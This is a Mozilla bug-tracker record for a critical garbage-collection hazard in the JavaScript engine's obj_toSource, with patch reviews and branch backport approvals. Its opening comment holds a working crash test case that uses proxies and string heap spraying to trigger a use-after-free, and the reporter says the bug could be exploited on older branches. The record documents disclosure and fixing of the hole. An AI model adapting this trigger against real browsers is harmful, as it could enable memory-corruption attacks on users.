Closed
Bug 568073
Opened 15 years ago
Closed 15 years ago
GC hazard in obj_toSource
Categories
(Core :: JavaScript Engine, defect)
Tracking
()
People
(Reporter: igor, Assigned: igor)
References
Details
(Whiteboard: [sg:critical?] fixed-in-tracemonkey [keep hidden until 566141 is fixed])
Attachments
(4 files)
2.84 KB,
patch
|
brendan
:
review+
|
Details | Diff | Splinter Review |
2.97 KB,
patch
|
gal
:
review+
christian
:
approval1.9.2.11+
|
Details | Diff | Splinter Review |
2.98 KB,
patch
|
igor
:
review+
dveditz
:
approval1.9.1.14+
|
Details | Diff | Splinter Review |
1.96 KB,
patch
|
igor
:
review+
|
Details | Diff | Splinter Review |
obj_toSource contains the following pattern:
obj->lookupProperty(cx, id, &obj2, &prop);
...
obj->getProperty(cx, id, &val[0]);
...
obj2->dropProperty(cx, prop);
Similarly to the bug 566141 the code calls obj2->dropProperty after doing potentially complex operations. Again, as with the bug 566141, the proxies makes the bug easier to exploit but AFAICS on branches the liveconnect can be used to archive the same results as the getProperty call can run arbitrary Java code that can in turn call JS.
Here is a test case that crashes the current TM tip:
var obj = {x: 0};
// Make a proxy property of a getter/setter so enumerateOwn will be invoked
// during initial scanning of the object tree. The function than deletes
// a property from the object so property lookup during the enumeration
// will go into prototype.
function f() {}
f.p = Proxy.create({ enumerateOwn: function() {
delete obj.x;
return [];
}});
obj.__defineGetter__.call(obj, 'a', f);
obj.__defineSetter__.call(obj, 'a', f);
var buffer = [];
for (var i = 0; i != 4000; ++i)
buffer.push({});
function force_gc() {
print('gc');
buffer = null;
gc();
buffer = [];
for (var i = 0; i != 1e5; ++i)
buffer.push("123456".substring(1));
}
// Make another proxy a prototype of Object.prototype. The has method for this
// proxy is called for the deleted property x during attribute lookup in
// obj_toSource. The method restores Object.prototype.__proto__ back to null
// and defines a getter for the x on the original object. This getter triggers
// gc that collects now unrooted proxy object and spray the freed GC arenas
// with strings leading to a crash during dropProperty call.
Object.prototype.__proto__ = Proxy.create({
has: function(name) {
if (name == "x") {
Object.prototype.__proto__ = null;
obj.__defineGetter__('x', force_gc);
return true;
}
return false;
},
getOwnPropertyDescriptor: function(name) { return {}; }
});
obj.toSource();
Assignee | ||
Comment 1•15 years ago
|
||
Attachment #447368 -
Flags: review?(brendan)
Updated•15 years ago
|
Attachment #447368 -
Flags: review?(brendan) → review+
Assignee | ||
Comment 2•15 years ago
|
||
Nominating for branches as in principle the bug could be exploited there using LiveConnect.
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
Assignee | ||
Comment 3•15 years ago
|
||
Whiteboard: fixed-in-tracemonkey
Updated•15 years ago
|
Whiteboard: fixed-in-tracemonkey → [sg:critical?] fixed-in-tracemonkey
Updated•15 years ago
|
Whiteboard: [sg:critical?] fixed-in-tracemonkey → [sg:critical?] fixed-in-tracemonkey [critsmash:patch]
Comment 4•15 years ago
|
||
Please request branch patch approvals when you're ready to land this on the stable branches.
blocking1.9.1: ? → needed
blocking1.9.2: ? → needed
status1.9.1:
--- → wanted
status1.9.2:
--- → wanted
Comment 5•15 years ago
|
||
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Assignee | ||
Comment 6•14 years ago
|
||
This bug should be a blocker on branches. AFAICS with liveconnect one can build an exploit here.
Assignee | ||
Comment 7•14 years ago
|
||
192 backport follows the logic of TM patch adjusted for older internal API.
Attachment #447368 -
Attachment is obsolete: true
Attachment #465980 -
Flags: review?(gal)
Updated•14 years ago
|
Attachment #465980 -
Flags: review?(gal) → review+
Assignee | ||
Updated•14 years ago
|
Attachment #447368 -
Attachment is obsolete: false
Assignee | ||
Comment 8•14 years ago
|
||
191 needs a separated fix to account for OBJ_LOOKUP_PROPERTY change on later
branches. Here is a plain diff against 192 version:
4,5c4
< @@ -771,71 +771,70 @@ obj_toSource(JSContext *cx, uintN argc,
< idIsLexicalIdentifier = js_IsIdentifier(idstr);
---
> @@ -769,71 +769,70 @@ obj_toSource(JSContext *cx, uintN argc,
8c7,8
< js_CheckKeyword(idstr->chars(), idstr->length()) != TOK_EOF;
---
> js_CheckKeyword(JSSTRING_CHARS(idstr),
> JSSTRING_LENGTH(idstr)) != TOK_EOF;
14c14
< - ok = obj2->getAttributes(cx, id, prop, &attrs);
---
> - ok = OBJ_GET_ATTRIBUTES(cx, obj2, id, prop, &attrs);
16c16
< - obj2->dropProperty(cx, prop);
---
> - OBJ_DROP_PROPERTY(cx, obj2, prop);
44c44
< + obj2->dropProperty(cx, prop);
---
> + OBJ_DROP_PROPERTY(cx, obj2, prop);
50c50
< ok = obj->getProperty(cx, id, &val[0]);
---
> ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
54c54
< - obj2->dropProperty(cx, prop);
---
> - OBJ_DROP_PROPERTY(cx, obj2, prop);
68c68
< ok = obj->getProperty(cx, id, &val[0]);
---
> ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
Attachment #466251 -
Flags: review?
Attachment #466251 -
Flags: approval1.9.1.13?
Assignee | ||
Updated•14 years ago
|
Attachment #465980 -
Flags: approval1.9.2.10?
Assignee | ||
Updated•14 years ago
|
Attachment #466251 -
Flags: review? → review+
Updated•14 years ago
|
blocking1.9.1: needed → .13+
blocking1.9.2: needed → .10+
Attachment #465980 -
Flags: approval1.9.2.10? → approval1.9.2.10+
Comment 9•14 years ago
|
||
Comment on attachment 466251 [details] [diff] [review]
fix for 191
Approved for 1.9.1.13, a=dveditz for release-drivers
Attachment #466251 -
Flags: approval1.9.1.13? → approval1.9.1.13+
Comment 10•14 years ago
|
||
and Approved for 1.9.2.10
Updated•14 years ago
|
Whiteboard: [sg:critical?] fixed-in-tracemonkey [critsmash:patch] → [sg:critical?] fixed-in-tracemonkey [keep hidden until 566141 is fixed]
Assignee | ||
Comment 11•14 years ago
|
||
Comment 12•14 years ago
|
||
Attachment #481170 -
Flags: review?(igor)
Assignee | ||
Updated•14 years ago
|
Attachment #481170 -
Flags: review?(igor) → review+
Updated•14 years ago
|
Group: core-security
You need to log in
before you can comment on or make changes to this bug.
Description
•